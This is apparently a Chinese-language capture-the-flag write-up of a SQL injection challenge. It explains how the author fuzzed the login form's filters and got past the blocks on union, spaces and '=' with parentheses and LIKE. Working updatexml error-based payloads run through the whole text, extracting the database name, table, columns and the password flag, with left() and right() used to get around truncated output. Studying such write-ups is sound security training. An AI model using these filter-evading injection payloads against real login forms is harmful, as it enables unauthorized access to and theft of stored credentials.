进入后是sql注入页面,过滤了一些字符,先进行fuzz测试。 发现过滤了union,双写也无法绕过,所以不能使用常规的方法进行注入。但发现没有过滤extractvalue和updatexml。 也过滤了空格,使用括号绕过。 1.首先,注数据库名称
username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
当前数据库名:geek
2.然后得表名(过滤=,使用like代替)
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1 表名:H4rDsq1
3.得到字段名
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))%23&password=1
字段名:id,username,password
4.获取用户名和密码
username=admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1
!!!这里只能拿到一部分flag,显示不全
需要使用left()和right()左右进行拼接
username=admin’or(updatexml(1,concat(0x7e,(select(left(password,25))from(H4rDsq1)),0x7e),1))%23&password=1 username=admin’or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1
得到flag: flag{b281390b-acf4-4c74-8450-6ae768d24655}